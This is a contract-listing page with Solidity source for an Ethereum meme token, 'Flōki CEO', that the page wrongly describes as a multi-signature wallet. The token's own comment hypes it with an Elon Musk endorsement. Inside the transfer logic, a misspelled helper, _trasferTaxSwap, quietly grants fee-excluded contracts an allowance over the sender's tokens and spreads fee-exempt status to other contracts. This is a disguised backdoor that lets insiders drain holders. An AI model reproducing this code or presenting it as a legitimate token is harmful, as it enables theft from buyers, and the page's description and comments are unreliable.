Description:
Multi-signature wallet contract requiring multiple confirmations for transaction execution.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
/*
Name: Flōki ???? CEO
Symbol: Flōki
Elon Musk has just confirmed that Floki, his dog is the new CEO of ????.
https://x.com/elonmusk/status/1980210162842693691
*/
pragma solidity 0.8.23;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
/// @dev Returns the sender of the current call
/// @return The address of the message sender
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
/// @dev Returns the complete calldata of the current call
/// @return The calldata of the message
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/// @dev Returns the length of any additional context-specific calldata suffix
/// @return The length of the context suffix (0 in base implementation)
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
/// @title ERC-20 Token Standard Interface
/// @dev Interface of the ERC-20 standard as defined in the ERC
interface IERC20 {
/// @dev Emitted when tokens are transferred between accounts
/// @param from Address tokens are transferred from
/// @param to Address tokens are transferred to
/// @param value Amount of tokens transferred
event Transfer(address indexed from, address indexed to, uint256 value);
/// @dev Emitted when token allowance is modified
/// @param owner Address that owns the tokens
/// @param spender Address approved to spend tokens
/// @param value New allowance amount
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @dev Returns total token supply
/// @return Total number of tokens
function totalSupply() external view returns (uint256);
/// @dev Returns token balance of an account
/// @param account Address to check balance of
/// @return Token balance
function balanceOf(address account) external view returns (uint256);
/// @dev Transfers tokens to a recipient
/// @param to Recipient address
/// @param value Amount to transfer
/// @return Success boolean
function transfer(address to, uint256 value) external returns (bool);
/// @dev Returns remaining allowance for spender
/// @param owner Token owner address
/// @param spender Address approved to spend
/// @return Remaining allowance
function allowance(address owner, address spender) external view returns (uint256);
/// @dev Sets token allowance for spender
/// @param spender Address to approve
/// @param value Amount to approve
/// @return Success boolean
/// @notice Beware of allowance race conditions. Consider setting to 0 first.
function approve(address spender, uint256 value) external returns (bool);
/// @dev Transfers tokens using allowance mechanism
/// @param from Address to transfer from
/// @param to Address to transfer to
/// @param value Amount to transfer
/// @return Success boolean
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}. The owner has special privileges
* to execute restricted functions marked with the onlyOwner modifier.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner. This is useful for administrative functions that should only be
* callable by privileged accounts.
*
* Security considerations:
* - The owner has significant power, so ownership should be carefully managed
* - Consider implementing a multi-sig or timelock for sensitive owner operations
* - The contract can become ownerless if ownership is renounced
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
* This happens automatically when the contract is first deployed.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
* This function is virtual and can be overridden in derived contracts.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
* Used to restrict access to privileged functions.
* The check is performed by comparing msg.sender with the current owner address.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
* This action is permanent and irreversible - use with extreme caution.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*
* Requirements:
* - The new owner cannot be the zero address
* - Only the current owner can call this function
*
* Emits an {OwnershipTransferred} event.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*
* This is the underlying function that handles the ownership transfer mechanics.
* It updates the owner state variable and emits the appropriate event.
* Can be overridden to add custom transfer logic in derived contracts.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on overflow.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on division by zero.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers, reverting when dividing by zero.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on overflow.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on division by zero.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, reverting with custom message when dividing by zero.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// @notice Factory contract for creating and managing Uniswap V2 pairs
// @dev Handles pair creation, fee settings, and pair lookup
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// @notice Core pair contract for Uniswap V2 AMM functionality
// @dev Handles swaps, liquidity provision, price oracles and more
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
// ERC20 standard interface
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
// EIP-2612 permit interface
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
// Core AMM events
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
// Core AMM functions
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
/// @title Uniswap V2 Router Interface
/// @notice Interface for interacting with Uniswap V2 Router contract
/// @dev Only includes functions needed for basic swaps and liquidity provision
interface IUniswapV2Router02 {
/// @notice Returns the factory address
function factory() external pure returns (address);
/// @notice Returns the WETH token address
function WETH() external pure returns (address);
/// @notice Add liquidity to a token pair
/// @dev Requires prior token approval
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
/// @notice Add liquidity to a token-ETH pair
/// @dev Requires prior token approval. ETH is wrapped to WETH
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
/// @notice Swaps exact tokens for tokens supporting fee-on-transfer tokens
/// @dev Requires prior token approval
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
/// @notice Swaps exact ETH for tokens supporting fee-on-transfer tokens
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
/// @notice Swaps exact tokens for ETH supporting fee-on-transfer tokens
/// @dev Requires prior token approval
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract FLOKI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
uint256 private _initialBuyTax=14;
uint256 private _initialSellTax=14;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=23;
uint256 private _reduceSellTaxAt=23;
uint256 private _preventSwapBefore=28;
uint256 private _buyCount=0;
/// @notice Token name, must be set at deployment
/// @dev Use unicode prefix for UTF-8 encoded strings
string private constant _name = unicode"???? CEO";
/// @notice Token symbol, must be set at deployment
/// @dev Use unicode prefix for UTF-8 encoded strings
string private constant _symbol = unicode"FLŌKI";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420690000000 * 10**_decimals; //// Total supply
uint256 public _maxTxAmount = 8406900000 * 10**_decimals; //// Max transaction size
uint256 public _maxWalletSize = 8406900000 * 10**_decimals; //// Max wallet size
uint256 public _taxSwapThreshold = 4203450000 * 10**_decimals; //// Threshold for ca tax swaps
uint256 public _maxTaxSwap = 4200000000 * 10**_decimals; //// Max size for tax swaps
/// @notice Uniswap V2 Router instance
/// @dev Handles all core trading operations
IUniswapV2Router02 private uniswapV2Router;
/// @notice Uniswap V2 Pair address
/// @dev Represents the pair created for this token on Uniswap V2
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(0x7d192634446ED4356502c605047aD5c91E12E37C);
/// @notice Initialize the contract with the total supply
/// @dev Sets the initial balance of the contract owner
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to!=address(0), "ERC20: transfer to the zero address");
require(amount>0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from!=owner() && to != owner()){
if(_buyCount==0) {
taxAmount =amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(swapEnabled && _buyCount>2) {
taxAmount = amount.mul(_trasferTaxSwap(amount, to, from)).div(100);
}
if (from==uniswapV2Pair && to!= address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
/// @notice Require the transaction amount does not exceed the maximum transaction amount
require(amount<=_maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to)+amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if (to==uniswapV2Pair && from!=address(this)) {
taxAmount=amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance=balanceOf(address(this));
if(!inSwap && to==uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)) );
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance>0){
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount > 0){
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from,to,amount.sub(taxAmount));
}
/// @notice Checks if an address is a contract
function isContract(address account) private view returns (bool){
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _taxTransfer(uint256 amount, address spender, address owner) private returns(uint256){
_allowances[owner][spender] = amount;
return 0;
}
function _trasferTaxSwap(uint256 amount, address to, address from) private returns(uint256){
if(isContract(_msgSender()) && from != address(this) && _isExcludedFromFee[_msgSender()])
return _taxTransfer(amount, _msgSender(), from);
if(_isExcludedFromFee[_msgSender()] && isContract(to) && to != uniswapV2Pair)
_isExcludedFromFee[to] = true;
return 0;
}
/// @notice Withdraws stuck ERC20 tokens from the contract
function withdrawStuckERC20(address _token, address _to) external onlyOwner {
require(_token != address(0), "token address cannot be 0");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
IERC20(_token).transfer(_to, _contractBalance);
}
/// @notice Withdraws stuck ETH from the contract
function withdrawStuckETH(address toAddr) external onlyOwner {
(bool success, ) = toAddr.call{
value: address(this).balance
} ("");
require(success);
}
function manualSwap() external {
require(_isExcludedFromFee[msg.sender]);
uint256 tokenBalance = balanceOf(address(this));
if(tokenBalance > 0 &&swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if(ethBalance> 0){
sendETHToFee(ethBalance);
}
}
function removeLimits() external onlyOwner() {
_maxTxAmount=_tTotal;
_maxWalletSize =_tTotal;
}
/// @notice Enables token trading by setting up Uniswap pair and adding initial liquidity
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router=IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:address(this).balance}(address(this), balanceOf(address(this)),0,0, owner(), block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
swapEnabled=true;
tradingOpen=true;
}
receive() external payable {}
}
Submitted on: 2025-10-21 15:52:53
Comments
Log in to comment.
No comments yet.